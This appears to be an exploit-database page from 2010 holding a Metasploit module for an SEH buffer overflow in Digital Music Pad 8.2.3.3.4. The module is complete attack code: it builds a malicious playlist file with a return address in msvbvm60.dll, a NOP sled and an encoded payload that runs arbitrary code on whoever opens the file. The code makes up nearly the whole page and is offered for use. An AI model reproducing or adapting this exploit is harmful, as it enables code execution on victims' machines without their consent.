Home / os / win7

[remote exploits] - Digital Music Pad Version 8.2.3.3.4 SEH

Posted on 27 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 27 Sep 2010 | Exploit category: remote exploits | Exploit author: Abhishek Lyall | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>==================================================================
Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module
==================================================================

#Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module
#Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com
#Web - http://www.aslitsecurity.com/
#Blog - http://www.aslitsecurity.blogspot.com/
#Download Vulnerable application from http://www.e-soft.co.uk/DigitalMusicPad82334Setup.exe
#Vulnerable versionDigital Music Pad Version 8.2.3.3.4
#Tested on XP SP2
#Greets Corelan Team, Puneet Jain ASL IT SECURITY TEAM
#!/usr/bin/python
 


require &#039;msf/core&#039;
 
class Metasploit3 &lt; Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            &#039;Name&#039; =&gt; &#039;Digital Music Pad Version 8.2.3.3.4 SEH overflow&#039;,
			&#039;Description&#039;    =&gt; %q{
					This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4 
				When opening a malicious pls file with the Digital Music Pad,
				a remote attacker could overflow a buffer and execute
				arbitrary code.
			},

            &#039;License&#039; =&gt; MSF_LICENSE,
            &#039;Author&#039; =&gt; &#039;Abhishek Lyall&#039;,
            &#039;References&#039; =&gt;
                [
                    [ &#039;OSVDB&#039;, &#039;&#039; ],
                    
                ],
            &#039;DefaultOptions&#039; =&gt;
                {
                    &#039;EXITFUNC&#039; =&gt; &#039;process&#039;,
                },
            &#039;Payload&#039; =&gt;
                {
                    &#039;Space&#039; =&gt; 4720,
                    &#039;BadChars&#039; =&gt; &quot;x00x20x0ax0d&quot;,
                    &#039;DisableNops&#039; =&gt; &#039;True&#039;,
                },
            &#039;Platform&#039; =&gt; &#039;win&#039;,
            &#039;Targets&#039; =&gt;
                [
                    [ &#039;Windows XP SP2&#039;, { &#039;Ret&#039; =&gt; 0x73421DEF} ], # p/p/r msvbvm60.dll
 
                ],
            &#039;Privileged&#039; =&gt; false,
            &#039;DefaultTarget&#039; =&gt; 0))
 
        register_options(
            [
                OptString.new(&#039;FILENAME&#039;, [ false, &#039;The file name.&#039;, &#039;msf.pls&#039;]),
            ], self.class)
    end
 
 
    def exploit
 
    
	    sploit = &quot;x5Bx70x6Cx61x79x6Cx69x73x74x5Dx0Dx0Ax46x69x6Cx65x31x3D&quot; #PLS Header
        sploit &lt;&lt; rand_text_alphanumeric(260)
        sploit &lt;&lt; &quot;xebx06x90x90&quot;            # short jump 6 bytes
        sploit &lt;&lt; [target.ret].pack(&#039;V&#039;)
        sploit &lt;&lt; &quot;x90&quot; * 12                   # nop sled
        sploit &lt;&lt; payload.encoded
		sploit &lt;&lt; &quot;x90&quot; * (4720 - payload.encoded.length)
 
        print_status(&quot;Creating &#039;#{datastore[&#039;FILENAME&#039;]}&#039; file ...&quot;)
        file_create(sploit)
 
    end


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-27]</pre></body></html>

 

TOP

Malware :

Exploits :